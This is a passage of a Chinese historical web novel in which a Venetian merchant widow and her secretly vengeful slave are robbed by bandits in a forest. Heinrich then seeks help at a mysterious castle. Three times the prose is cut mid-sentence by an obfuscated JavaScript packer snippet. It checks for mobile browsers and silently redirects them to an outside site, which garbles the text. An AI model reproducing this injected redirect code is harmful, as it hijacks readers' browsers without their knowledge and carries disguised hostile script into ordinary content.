“好好好。尊敬的骑士阁下,现在您需要抬头挺胸,视线向前,脚后跟向下。”海因里希言简意赅地告诉她接下来该怎么做,右手从侧面握着缰绳,帮助莉莉斯控制着这匹马,“然后用小腿轻轻夹住马腹,慢慢松一点缰绳,就可以示意马儿开始向前了。” 莉莉斯应声照做,白马果然听从她的指示开始缓缓向前迈步。于是她又松开一点缰绳,马儿走得更快,乃至于海因里希不得不小跑着跟在她们旁边。 莉莉斯心满意足地将视线投向远方,看见天边正夕阳西下,红色的阳光将云朵都烧成了浓艳的红色,美不胜收。莉莉斯原本只是在马背上惬意地欣赏美景,忽然天边传来一声凄厉的鸟鸣,仿佛是被猎人的弓箭射落时濒死的嚎哭。莉莉斯的脑海中不受控制地浮现出了那乞丐曾对她说的话: “一场命中注定的血光之灾即将要降临在您的身边!” 莉莉斯顿时被吓了一大跳,突然重心不稳惊叫着向一侧偏去,险些要摔倒。海因里希立刻察觉到了异常,立即拉紧缰绳让马停下,扶住莉莉斯将她从马背上横抱了下来。 “您怎么了?是不是太累了。”海因里希有些疑惑。他搞不懂莉莉斯是怎么想的,明明之前还兴奋得很,刚才却突然又变得心不在焉了。 “大概……是吧。”莉莉斯惊魂未定地靠在海因里希的胸口深呼吸,“我今天不想骑了。” “好,那我送您回客房休息。明天要乘一天的马车,虽然路还算平稳,但仍旧免不了会颠簸,今晚是该好好休息。” “待会儿让驿馆的人把晚餐送进我的房间。我要吃奶汁鸭肉意面佐白芦笋。你也不要闲着,去商队那些人所住驿站附近的酒馆和他们熟络熟络,顺便再打探打探消息。”她又在海因里希的怀里调整了一个舒服些的姿势,似乎并没有要让他松手放她下来的意思。毕竟这驾坐骑不仅比马便宜,还比马好使唤得多。 “明白。” 莉莉斯回到客房用完晚餐后便开始昏昏欲睡,洗漱后很快便躺在床上睡着了。但是由于床垫较硬,和家里的感觉不太一样,她睡不安稳,没睡多久便又辗转醒来。黑暗中,她瞥见一道疑影潜进了她的房间。 “什么人!”莉莉斯大喊,抽出塞西莉娅叮嘱她要放在枕下的匕首,端着床头柜上长明的烛台向前走去。 那人似乎被吓了一跳,手里的东西散落一地,慌忙地打开门溜出了房间。莉莉斯警惕地握着匕首向前,听到那人似乎已经走远,才蹲下身去把散在地上的东西捡起来。并没有什么贵重物品,而是一些他们随行携带的货品清单以及开设分行所需的手续文件。 估计是洛伦佐派来的人。帕多瓦距离威尼斯不过一天距离,买通随行商船上的什么人来莉莉斯这里偷东西并不是什么难事。只是这驿馆的门竟然能被如此轻易就被撬开,安保程度可见一斑。万一对方的目的不是行窃而是杀人可怎么办?想到这里,莉莉斯赶紧端着烛台去敲响隔壁海因里希的房门。 35.狼人与女巫的传说 海因里希睡眼惺忪地打开门,看见莉莉斯正穿着睡裙,一只手端着烛台,一只手握着匕首,披头散发地站在自己面前。他被吓了一跳,但很快冷静下来。 “怎么了?” “我房间进了小偷,你去把我的行李全都搬过来,我在你这里睡。” “……你没事吧?” “暂且没有。” 莉莉斯把匕首和烛台放在一边,回到自己的房间把兔子玩偶抱过来,然后径直爬上了海因里希的床,掀起他盖过的被子盖在自己身上继续睡觉。 海因里希的客房是一个专门设计给贵族高级侍从居住的标准单人间,只有一张小床,并不像莉莉斯的套间一样那么宽敞。等海因里希按照命令将所有行李都搬过来之后,才发现莉莉斯已经安稳地躺在被子里快睡着了。 “我该睡在哪里?”他有些无奈地看着自己的床位被鸠占鹊巢。 “地上。”莉莉斯把头埋在被子里,声音闷闷的,“坐在椅子上趴着睡也行。” “……”海因里希无奈地抱来莉莉斯房间里的那床被子,把没用过的浴巾铺在木地板上当作床单,打算就这么将就凑合一晚。糟糕的住宿环境对于海因里希而言已经算是家常便饭,即使是在沦为奴隶之前,作为商队武装护卫历练出行时也都是住最便宜的驿馆大通铺,里面充斥着男人臭气熏天的汗味,苦不堪言。相比之下,睡在高级驿站的地板上已经算得上奢侈。 “我小时候也经常在地板上睡觉。”莉莉斯默默说道,“七岁以前,我和妈妈一起住在夏洛克租给她的廉租房里。卧室里只有一张床,到了夏天酷热难耐的时候,睡在木地板上更凉爽。妈妈很喜欢躺在床头为我讲述她在工作中遇到的形形色色的人和事。” 海因里希有些诧异。自从他认识莉莉斯开始她就是一幅娇贵的大小姐模样,吃的用的都要挑最好,以至于他总是忽视了她作为私生女的出生和曾经遭人轻贱的过往。原本以为那些与毛罗有关的往事已经很沉痛,但实际上在被克纳罗家族承认之前,莉莉斯曾经过过比“贵族私生女”更加卑微的生活。 “但那样的日子屈指可数。”莉莉斯自顾自地继续讲下去,“妈妈要不是在赌场工作到第二天天亮才休息,就是在陪父亲或者别的什么男人去约会。可是她从未想过要让克纳罗家族给她和我一个名分,她总说贵族老爷都是些平民老百姓惹不起的大人物,我们只有一辈子看人眼色、低声下气苟且偷生的命。 “可是我从来不相信所谓的命运,我不相信我身来就低人一等,所以我在妈妈重病时自己跑去敲响了克纳罗家的大门,为母亲争取到了治病的费用,也为自己争取到了被接入克纳罗家生活学习的机会。那乞丐说我的贪心会将我拖入万丈深渊,可如果我从来都不曾贪心,我根本就不会有如今的地位和事业,也不可能躺在这里和我自己赚钱买来的奴隶聊天谈心。” “您怎么还在想他说的话。您应该知道那都是些胡言乱语。” “我知道。我绝对不会回到那个受人欺辱、任人宰割的境地。我会一直向前,去扫清我面前的所有障碍,直到我可以主宰我自己的命运的那一天。” “您一定会得偿所愿。” “海因里希。”莉莉斯突然转过身低下头看着海因里希,认真地对他说,“我之前告诉过你,我买来的每一个奴隶都可以在攒够钱后换得自由之身。虽然为了完成银行程序我提前给你赎了身却不能放你走,但是当你攒够钱之后我还是会给你真正的自由。让你去做你自己真正想做的事。” “……可是我只想留在您的身边。”海因里希的语气中仿佛带着委屈,“您要赶我走吗?” “当然不会。只是我想给你选择权。同样的,我也曾给她们每一个人选择权,可是她们也都选择了留在了我身边。我想,说不定我这个老板做得也不算太烂。” “您是非常好的老板。快睡吧,明天还要赶路。” “晚安,海因里希。谢谢你听我说这些。” “晚安。” 莉莉斯为自己掖好被角,她闻到被子上有一股海因里希身上那种清爽的矿物气息,熟悉的味道令她感到很安心。直到睡着时她都不知道,海因里希从始至终都将一封尚未写完的信件叠成小方块藏在裤子口袋里,来不及找机会烧掉。 第二天一早天刚亮海因里希便醒来了。他先离开房间去处理掉了那些不希望被莉莉斯看见的东西,然后回来拉开窗帘叫莉莉斯起床。窗外是阴天,天空白茫茫的一片,云压得很低。他们必须尽早起来收拾行囊去与同行的商队汇合。海因里希在莉莉斯洗漱化妆的间隙从文件袋里找出之前与商队队长往来的信,然后依据模糊的记忆为莉莉斯勉强编好了头发,再为她戴上漂亮的黑色蕾丝网纱。 商队的队长是一位老当益壮的日耳曼人大叔,是在德意志的富格尔家族旗下办事的人。他留着金色的络腮胡子,古铜色的皮肤,看起来能干又可靠。按照事先商量好的合约,他为莉莉斯、海因里希与随行的翻译丹特安排了一架舒适的马车。这一天她们即将从帕多瓦大学城出发,向维罗纳的方向前进。 维罗纳位于帕多瓦东北方,是亚平宁半岛北部一个有着重要战略地位的军事重镇。与帕多瓦一样,维罗纳在约六十年前主动脱离米兰公国的统治归属进了威尼斯共和国,成为威尼斯内陆领地的重要商业枢纽和军事据点。 自此之后,维罗纳当地的老牌贵族也总希望能与威尼斯的城市贵族建立姻亲关系。毛罗的妻子玛利亚就是维罗纳人。她原本打算在了结威尼斯的一切之后回到维罗纳的疗养院度过余生,却还是被莉莉斯所杀,身体与灵魂都被永远留在了浑浊的威尼斯潟湖里,再也回不了故乡。 莉莉斯懒懒地斜靠在马车窗边,一边啃着味同嚼蜡的航海饼干当作午餐,一边无精打采地打望着窗外灰扑扑的田园风光。没睡好,好困。要不是因为有陌生人丹特在场,她得顾及面子保持端庄,否则她恨不得直接靠在海因里希身上补觉。 虽然寡居的贵族夫人豢养一个玩弄取乐的小白脸算不上什么稀奇事,她的好朋友索菲亚就对此毫不避讳,莉莉斯也并不认为这有什么不妥。但凭心而论,她不觉得自己和海因里希属于那种以性缘为主导的关系。 在她眼中,海因里希似乎和塞西莉娅她们并没有什么太大的不同。她对海因里希的好感来源于他做事干净利落,学习能力很强,为人认真负责。所以她才将他视作得力的下属和重要的伙伴。 这在莉莉斯的评判体系中是她能够对一个男性给出的最高规格褒奖了——“像女人一样好”。硬要说什么区别的话,最大的不同应该就在于他更加皮糙肉厚,身板也比较大,可以当狗训,还可以当马骑。 为了打发无聊的乘车时间,莉莉斯继续招呼海因里希为自己读故事书。她很快在朗读声中昏昏沉沉地睡了过去。等她醒过来的时候,马车已经停下,外面十分嘈杂,混杂着人声和雨声,似乎还有人在鬼哭狼嚎。海因里希和丹特都不在车里。莉莉斯拉开窗帘四处张望,发现窗外乌云蔽日,正在下着瓢泼大雨。她感到不知所措,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059089|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在车上朝窗外呼唤着海因里希的名字。 “夫人。”海因里希撑着一把伞,从混乱的人群中匆匆赶来,“我刚刚去向队长打探了一下消息。” “发生了什么事?” “维罗纳城中突发暴乱。据说是米兰公国统治时期的旧贵族试图复辟,带领了一批雇佣兵挑起战争。” “什么?!”莉莉斯直接给吓清醒了。 “您别担心。叛党不过一群乌合之众,很快就被威尼斯共和国的军队制伏了。只是维罗纳城市附近还散布着一些潜逃出去的残党。队长先生说我们接下来要转道往北边的森林里走,稍微绕远些就能避开,只是大概会耽误一两天的时间。“ “森林……” 莉莉斯立刻回想起了那乞丐对她说的话——“不要进森林!”他曾狂叫着重申了三遍,却没有说明背后的原因。莉莉斯原本并没有把这句话当回事,只当作是疯癫的呓语而已。因为原定的行程全部是走发展成熟的商道,并没有哪段路需要踏入深山老林。 “我要下来看看。”莉莉斯紧紧皱着眉头对海因里希说。 “夫人,外面在下雨,地上都是烂泥。” “那么你来抱我。” 海因里希只好打开门,一只手握着伞,另一只手弯起来搂住莉莉斯的大腿,让她坐在自己的小臂上。莉莉斯十分好心地将伞拿过来握在自己手里,让海因里希可以用两只手抱住她,不至于太费力气。 他们在商队队长的马车前停住脚步。莉莉斯一眼就看见丹特站在雨中,全身湿透,正在用德语与那位队长大声争吵。雨水早已打湿了他的衣服与头发,但他仿佛全然不觉冷意,怒目圆睁地朝对方大吼,与她原本印象中那个手无缚鸡之力的干瘦学究形象可谓大相径庭。 “发生了什么事?”莉莉斯拍了拍海因里希的背,示意他放自己下来。 “施密德尔夫人,请您听我一句话。”丹特煞有介事地转过身,神情严肃地对莉莉斯大喊,“请千万不要进入这片森林!” “为什么?”莉莉斯一怔,丹特的话竟与那疯子乞丐的忠告不谋而合。一个人的话还能被认为是信口胡扯,但两个人都这么说,倒有几分可信了。 “比起森林中莫须有的鬼怪,森林外实实在在的逃兵与流民才是真正的威胁。”商队队长紧紧皱着眉头,用带着浓重口音的意大利语对莉莉斯说道。从表情上看,他似乎对丹特很不耐烦。 “我从小在这一代长大,老人们都说这片森林是狼人与女巫的栖息地,是绝不能踏足的黑暗禁区!” “哦?说来听听。” “传说很久很久以前,有一群邪恶的女巫受到了恶魔兽性的感召。她们憎恨人类男子,还将村庄中初生的婴儿残忍吃掉,甚至在寻常孕妇的饮食中投毒,连她人腹中的胎儿都不放过!后来这群女巫被驱逐出村庄,便跑进森林中举办邪淫的祭典,与野狼交合,生下这被诅咒的种族成为她们的使徒!自那以后这里就是狼人的领地,所有误入这片森林的不幸者都被狼人啃食得只剩下一具具枯骨!” “原来是这样。”莉莉斯松了一口气,“既然如此,队长先生,我们还是按照您的计划,借道往森林中走吧。” “什么!?”丹特惊呼道。 “翻译先生,您如果不愿意同行,我现在就帮您把这一天的工钱给结了,咱们好聚好散。”莉莉斯笑眯眯地从口袋里掏出几个银币,像打发叫花子一样丢在丹特手中,然后将两条胳膊重新挂在了海因里希的脖子上,示意他把自己抱回马车。 36.血光之灾的降临 “您怎么听完他的解释反而笃定了要进入森林呢?“海因里希问。他轻轻把莉莉斯放回到马车里,收起伞,然后自己也回到马车里,用抹布擦干净沾满烂泥的皮靴。没过多久,马车便再一次向前行驶了起来。 “女巫有什么好怕的,我之前不也被指控说是女巫吗?”莉莉斯露出了狡黠的笑容,“还真有点想去会会其他女巫呢。大家都是女巫,说不定我能和她们做朋友。” “那狼人呢?狼人也不怕?” 莉莉斯抬起腿,用脚尖戳了戳海因里希架在座位旁的佩剑,“什么狼人,估计就是些体型较大的狼而已。我们商队有数十人,还有专门的武装护卫小队,几只小动物有什么好怕的。海因里希,你不会真的相信他口中那些迷信的胡言乱语吧 ?” “不信。”海因里希耸了耸肩。 “你说那些帕多瓦人是不是读书读傻了?唉……等到了苏黎世之后再找一个翻译吧,实在不行就用施密德尔家安排好的……“莉莉斯打了个哈欠,“外面一直阴沉沉的,都看不出来现在几点了。我好饿,什么时候才能吃晚饭?” “队长说咱们为了避开战乱得尽快向前。考虑到现在物资还算充足,今晚就不绕路去城镇里找驿站歇息了,得继续赶路,入夜之后在森林里扎营歇脚。只不过雨一直吓得那么大,估计是没有办法生火了,只能吃干粮凑合。” “啊……又得吃航海饼干果腹了。”莉莉斯揉了揉自己饿得咕咕叫的肚子。 见状,海因里希从随身携带的包里掏出来三四个用油纸和麻绳仔细包起来的小包裹。一份是切开的三角形帕玛森干酪,一份是生食用的风干帕尔马火腿,还有一份黄油饼干和一份绿油油的开心果味起酥糖。 “我的老天!”莉莉斯惊喜地感叹道,而后像是怕被人发现他们吃独食似的偷偷压低声音,“你什么时候背着我买的这些?” “在早上您还没睡醒的时候,我去帕多瓦的早市晃了一圈。旅途劳顿,为您准备些小零食加餐是我应该做的。”海因里希抽出匕首,用餐巾擦干净,片下薄薄的一片火腿递给莉莉斯,让她就着奶酪跟饼干一起吃,“因为买的不多,所以刚刚丹特在的时候没拿出来,现在才让您知道。” “非常好。”莉莉斯心满意足地把自己精心组装好的小吃送入口中,又边咀嚼边组装了一个喂到海因里希的嘴边,“不能把珍珠丢给猪【注】……但是可以奖励给听话的狗。” “谢谢您。”海因里希红着脸张开嘴把莉莉斯喂他的零食吃进嘴里。 “剩下的都是我的了。”莉莉斯露出一个愉快的笑容。 风卷残云地吃饱之后,莉莉斯又靠在窗边发了一会儿呆。雨声渐消,莉莉斯掀开窗帘一角,发现黑色的夜幕已经彻底笼罩大地,四周泛起诡异的浓雾,如贪婪的鬼魅般悄然吞噬了树林、道路、还有车夫点在马车前方的微弱灯火。 没过多久,马车便停了下来。她听见前方开路的马车那里传来悉悉索索的议论声。她给海因里希使了个眼神,示意他下车去打探情况。 “队长说今夜就先在这里休息。雨停了,可以生火,过会儿他们会在扎营的地方煮豆子汤喝。” “我就不喝了。”或许是因为刚才吃太多了,莉莉斯感觉腹部有些隐隐作痛,“我肚子不太舒服。” 海因里希心领神会地点了点头,他提起煤油灯,握住莉莉斯的手准备扶她下马车,突然发现莉莉斯坐过的软垫上晕开了一摊刺目的血,像是一朵黑红色的盛放的花。 “夫人。”他赶紧叫住了莉莉斯,有些尴尬地看向那摊血,“似乎有位客人来拜访了您。” “该死的月经。”莉莉斯居然直接说出了那个禁忌的名词,“原来那乞丐念叨个不停的血光之灾就是指这玩意儿啊,我还以为有什么呢。” 海因里希倒吸一口冷气,将食指放在嘴边做出一个噤声的手势。 “您最好不要让商队中同行的人知道这件事。” “我知道。他们会将经血视作灾厄的来源。无知而脆弱的男人啊,要是女人流的血真有那么强大的奇效,两国打起仗来也别用什么盔甲和长矛,还不如干脆互相投掷女人沾了经血的灯笼裤得了。”莉莉斯恶狠狠地说道,“塞西莉娅在箱子里放了干净的换洗衣服和处理月经用的棉花。你去帮我拿出来。” “遵命。” 一应物资准备好后,海因里希提着灯带莉莉斯向树林深处走去。荒郊野外里没有什么优雅的解决办法,只能尽量走得离得人群远些以勉强换取一些体面。莉莉斯此次所行带的衣物并不算多,沾血的裙子不能弄脏了就此丢弃,还得找个有活水的地方洗洗干净。 走了约莫十分钟后,两人寻着水声找到了林中一条潺潺流水的小溪。于是海因里希识相地背过身去,等待莉莉斯把弄脏的衣裙换下来。 他的右手始终紧紧握在腰间的佩剑上。比起那些真实性存疑的狼人传说,还是现实中男性对女性构成的威胁更加真实可感。尽管莉莉斯一直对外宣称自己是出生威尼斯名门的德意志贵族之妻,是那些寻常行路商人惹不起的大人物,但保不齐那个不知好歹的家伙动了歪心思。海因里希不会允许这样的事情发生。他时刻警惕地巡视着莉莉斯背后的森林,只是雾越来越浓了,除了近在眼前的树干与枝桠以外,他什么也看不清。 莉莉斯这边也一样。熟悉的铁锈味涌入鼻腔,小腹一阵一阵地发疼,额头有些晕,她只能混混僵僵地摸着黑去用棉花与纱布处理那些粘稠的血。 恍惚间她好像听见了什么,像是野兽的嚎叫,却更粗重,更野蛮,肆无忌惮地穿过浓雾在一片幽暗的森林中盘旋回响。那声音低时如饿狼捕猎前的低吼,高时像死神愤怒地敲响丧钟。 “什么声音?”莉莉斯惊慌失措地转过头。突然,一只大手猛地捂住了她的嘴,另有一只手挟住了她的腰。她发现原本握在海因里希手中的那盏灯已经被吹灭,她什么也看不见,挣扎着想要挣脱。 “安静,别动,别害怕。” 她的耳畔传来海因里希的耳语,他说话的声音轻得只有他们两个人能听清。过了一会儿,他才松开捂在莉莉斯脸上的手。 “……是狼人吗?”莉莉斯用同样细微的声音发问。 “不是。”海因里希警觉地竖着耳朵继续听森林中传来的声音,缓缓抽出腰间的佩剑,然后摁着莉莉斯的肩膀示意她跟自己一起蹲下身躲进一旁的灌木丛,“是人。” 没过多久,他们就听到了商队营地的方向传来一阵骚动。紧接着就是人群的呼喊声、叫骂声和刀剑噼里啪啦的敲打声,伴随着人与货物砸落在地上的闷响,被利刃贯穿时痛苦的哀嚎。莉莉斯后知后觉地意识到了那边正在发生什么,害怕得有些腿软,差点跌倒在了灌木丛旁边的泥地上,全身都在发抖。 又过了一会儿,浓雾逐渐散开,她的眼睛逐渐适应了没有灯光的夜晚,借着月光透过树影她看见了一群披着兽皮的土匪,正驾驶着他们抢来的马车连带货品一起全部运走。土匪们嬉笑着谈论这次的收获,数不清的羊毛、丝绸、甚至还有香料!可真是赚大了,干了这一票能享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065721|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好几个月不愁吃穿呢! 莉莉斯又擦了擦眼睛仔细数了数,这一行土匪有至少十数人,各个在兽皮下穿着制作精良的盔甲,背上则背着沾满鲜血的长剑与弯刀。饶是海因里希再厉害也不可能和这么多人对打,何况他还得优先保护莉莉斯的人身安全。看来他们现在除了待在原地等待强盗走远以外别无他法。于是莉莉斯只能稍稍移动了一个舒服些的姿势,双手捂着不断绞痛的小腹静静等待。海因里希则始终握着剑柄单膝跪在她旁边。 人声渐远,森林再次陷入死一般的寂静。海因里希小心翼翼地站起身,摸起地上的一个石块向远处丢去,许久也没有人作出回应。他绕着树林巡视了一周确保四下无人之后,回到莉莉斯身边将她扶起来。 “万幸您人没有事……”他拍了拍莉莉斯肩头上的落叶,一时竟不知道该怎么安慰她了。他体会过这种一切都被骤然夺走的感觉。尽管莉莉斯只是损失了一批货物和随身携带的行李,大头的财产都安然无恙躺在金库里,也没有亲信伤亡,其实比他当时的遭遇要幸运得多……但她现在的身体情况……不知道是否能支持她安然无恙地走出这片森林找到支援。 “我现在算是知道了。”莉莉斯苦笑着叹了口气,左手握住海因里希的手站起来,右手始终摁着身上疼痛的来源,“算是知道了为什么洛伦佐的保险业务生意那么好了。还好他给我的货全都免费赠送了一份意外险,回去可千万得找他理赔啊。就是你给我的兔子也没了……我很喜欢那个玩偶的……” “现在就别考虑这些了,玩偶等我回去再给你做一个。”海因里希叹了一口气,“我们现在该怎么办?” “你包里都有些什么东西?”莉莉斯掀开海因里希的挎包,在里面摸出打火石重新点亮被吹灭的油灯,然后借着微弱的灯光翻找包里可能有用的东西。一张意大利北部的地图、一枚指南针、一把匕首、一把梳子、一包莉莉斯吃剩的坚果糖酥、一些给莉莉斯处理月经用的棉花、纱布和干净灯笼裤、一小瓶水、一些证明身份的通关文件和零碎的钱,除此之外便什么都没有了。 “啊……好难办。”莉莉斯仰天长叹,“昨天在船上就不该跟你聊什么强盗之类的……结果真给我们碰见了。” “但那疯子乞丐说的‘血光之灾’却救了我们一命。”海因里希无奈地感叹,“我们先回营地那里看看吧,说不定能剩下些什么有用的东西。” “好。” 他们顺着来时的方向刚刚遭遇洗劫一空的马车走去。载着货物的马车连带全部马匹都已经被牵走,只剩下一些载人的空车、空箱子、破布和用过的炊具被晾在原地。商队同行者的尸体四仰八叉地横陈在地上,或许不久后便会沦为野兽的美餐。莉莉斯脚下一不小心踩到些什么软软的东西,低下头一看才发现竟是车夫的一条手臂。他临死前扭曲绝望的表情永久刻印在了脸上,令人触目惊心。 “我感觉有些不舒服。”莉莉斯提着灯找到原本属于她的那架马车爬了进去。刚刚事出紧急,她根本还没来得及处理裙摆上的血,带出去打算换的裙子也被泥巴全弄脏了。她蹲下身,在座椅底下的暗格里找到一个被她藏起来的小袋子,里面是塞西莉娅给她准备好的应急物品——一把匕首、一块打火石和十个杜卡特金币。 她没有能换的外衣,只能尽量处理干净贴身衣物上溢出来的血,正打算出来寻找仍在四处搜索可用物资的海因里希。突然,她感觉到天上又一次降下了暴雨。 【注】典故来源《马太福音7:6》,意思就是肥水不流外人田。 37.恐怖古堡的邀约 “海因里希!”莉莉斯大声呼喊着海因里希的名字,把他叫到自己身边。 “我在。“海因里希拉起斗篷的兜帽向她跑来,还没等他躲进马车雨水便迅速淋湿了他的衣服,他干脆就站在了车外。 “又下雨了,”莉莉斯紧紧皱着眉头,“你有没有发现什么有用的东西?” “还没有。但是我发现有几车他们没有拉走的货物,不知道是因为人手不足,还是那帮披着狼皮的土匪看不上货值打算放弃……” “也就是说,他们随时有回来接着取货的可能。留在这里并不安全。”莉莉斯强忍住腹部的忍痛,努力保持冷静思考接下来该怎么办,“如果从这里步行走到最近的城镇,最快需要多久?” “起码需要走半天……我们当时为了避开潜逃在外的叛军,是特意绕开城镇前进的。但说不定附近会有些不知名的小村落,或许会找到能够帮助我们的人。” 莉莉斯陷入了沉默。她低下头再次揉了揉肚子,鲜血还在继续流淌,绞痛一阵一阵袭击她的神经。她没有把握自己能够和海因里希一起冒着雨走出去,按照现在她的身体状况,即使留在马车里避雨她都感觉随时可能会就这么疼得昏死过去。 如果推迟到白天再出发,她也难以预见自己能在饥饿与寒冷的双重折磨中恢复多少力气。况且如果在没有援助的情况下遇到叛军或是土匪,他们都毫无生还的可能。在这种情况下她只能赌一把了,把赌注全部押在海因里希身上,赌他能活着离开森林,找到援助把她救出去。 “海因里希,”莉莉斯将自己的右手伸出窗外,和海因里希的手紧紧握在一起,在他的手心里放进五枚崭新的杜卡特金币。她的声音很虚弱很轻,语气却依旧十分坚定,以女主人的姿态对海因里希发号施令:“你现在拿着地图和指南针,独自去找到最近的有人的地方。如果找到村庄,就去向他们买一头驴或者骡子,骑着他来把我带走。如果找到城镇,就去找一个马车夫,给他几个格罗索,让他驾着车来这里接我走。如果找到领主,就向对方亮明我的身份,让他们派人来救我……” “……您要独自留在这里吗?”海因里希对莉莉斯的决定感到诧异,略带犹豫地问。 “如果遇到了什么危险,我会用这个防身。”莉莉斯晃了晃塞西莉娅留给她的匕首,有气无力地挤出一个苦笑,“你快去快回,我在这里等你回来。” “……遵命。” “千万不要像《十日谈》故事里的那个仆人一样一去不复返啊,我可不会饶了你的。我等你回来。” “我一定会回来的。您要照顾好自己。” 言罢,海因里希轻轻捏住她的手,郑重地在手背上留下一个吻。随后他便翻开地图查看一番,握着指南针点着灯向森林深处走去。莉莉斯透过窗看见雨中的光点越来越小,越来越模糊,直到最终看不见。她有气无力地躺倒在马车沾血的座椅上,沉沉地昏睡了过去。 海因里希冒着大雨继续前进。雨水一次又一次划过斗篷的帽檐滴进他的眼睛,他不得不如盲人般捡起一根树枝四处挥舞来为自己指引前路。雨水浸透了他里里外外的衣服,步伐变得沉重异常,每一步都陷进被雨水打湿的烂泥坑里去。 上一次像这样浑身湿透、一无所有地在未知中寻觅前路的遭遇仿佛还历历在目。是被当作奴隶卖给恶趣味的贵族,还是就这么一路走下去直到累死在人迹罕至的深山老林里,他说不上来哪种更糟糕。 但是他现在还不能死,莉莉斯也不能死。他还有未完成的使命。他要向莉莉斯复仇,更要向杀父仇人,他的叔父赫尔穆特复仇。万一莉莉斯就这么死了,那么他之前辛苦经营的一切都将毁于一旦,所有的计划全部被打乱。现在的海因里希还需要借用莉莉斯的力量留在威尼斯,利用她的事业来继续发展他自己的势力,直到他夺回属于他的一切的那一天。 他原本以为只要百依百顺地服从莉莉斯,用熟练的虚情假意来换取她乃至于她身边所有人的信任,让她对自己放松警惕就能万事无虞。可他差点忘了莉莉斯本就是一直站在风口浪尖上的人。无论是克纳罗家内部还是威尼斯城里的竞争对手,都有太多人对她或是恨之入骨、或是避之不及、又或是迫不及待取而代之。更不要说还有荒野森林中如野兽般蛮不讲理的土匪对行路商人的无差别攻击。但是他得想办法让莉莉斯活下去,他得带着她回去。 他回想起过去几天和莉莉斯一起经历的点点滴滴:他给莉莉斯鞍前马后,为他贴心地准备她喜欢的小零食,帮她打点一切货物运输和通关文件,还给她借来温顺的纯种马耐心教她。而莉莉斯对他做了些什么事呢?她把他当马骑,半夜抢占他的床位让他不得不睡在地上,第二天又接着强迫他在颠簸不停的交通工具上给她读故事,还要嘲讽他的意大利语有口音。 是啊,莉莉斯就是这么一个又自私自利又傲慢无礼的家伙,嘴上画着“以后要放他自由”的大饼,实际上恨不得每天都要压榨干净他的每一分劳动。光凭这点就足以使他对莉莉斯厌烦不已,更不要说她与杀父仇人合谋害得他沦落至此的血海深仇……所以莉莉斯千万不能死。要是她这么死了就太便宜她了,她必须得为她的罪恶行径付出代价才行…… 海因里希突然回想起出航时读给莉莉斯听的那个善良少年遭遇抢劫后被好心寡妇所拯救后顺利返乡的故事。同样是寡妇,莉莉斯怎么就和故事中人美心善的好女人形象毫无关联呢?她明明那么漂亮,那么聪明,那么有魄力,那么坚强,又那么脆弱,那么令人心疼……不行,海因里希,你怎么能心疼一个一次又一次差点害死你的人呢?要不是为了帮莉莉斯开设分行,他又怎么需要忙前忙后,以身涉险,沦落到现在不得不冒雨在森林中独自前行,累得几乎要就地昏死过去的地步呢? 海因里希越想越感到悲哀,身上的衣服像是灌了铅一般沉,压得他快要喘不过气来。手里提着的煤油灯终于燃尽了,可失去照明的少年仍旧没有走出森林。他只能顺着原本的方向继续摸着黑向前。不知道又走了多久,他终于在朦胧月光的指引下走到了一片开阔的平地。他看见不远处的山峰上竟巍然耸立着一座阴森恐怖的哥特式古堡,高耸如云的塔楼上竟亮着诡异的磷光,仿佛童话故事里邪恶女巫的老巢。 海因里希顿时想起丹特临走前念叨的狼人与女巫的传言。他们方才已经亲眼目睹了所谓的狼人其实就是披着兽皮的土匪。虽然眼见为实戳穿了怪力乱神的谣言,但那帮土匪的危险程度却丝毫不亚于传说中吃人不吐骨头的狼人。既然如此,这座仿佛属于女巫的城堡中是否也暗藏着什么不可告人的危险? 尽管仍然心存疑虑,但海因里希实在是感觉太累、太辛苦了,在这种筋疲力尽的状态下他根本没有选择的余地,只能拖着不堪重负的身体用力敲响城堡的大门。 过了一会儿,一个约莫四五十岁左右的中年女人为他打开大门。她穿着一身纯黑色的高级侍女制服,手中端着烛台,有着一头比海因里希更加浅的白金色头发,眼窝深深地向内凹陷,鼻梁很高,面向凶狠异常,似乎不是寻常的意大利人长相,倒更像是日耳曼人。 “来者何人?” “我是……海因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076358|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里希……这是威尼斯的克纳罗家族的家纹。”海因里希抬起左手,向对方展示莉莉斯给他的那枚刻印家纹的银戒指。 “克纳罗家族?从未听过。有什么爵位吗?”对方的语气中透着怀疑。 “你是德国人?”海因里希听出了对方意大利语发音中的德语口音,直接用德语问道。 那女仆顿了顿,用德语回应:“是的,我与我家女主人都是德国人。” 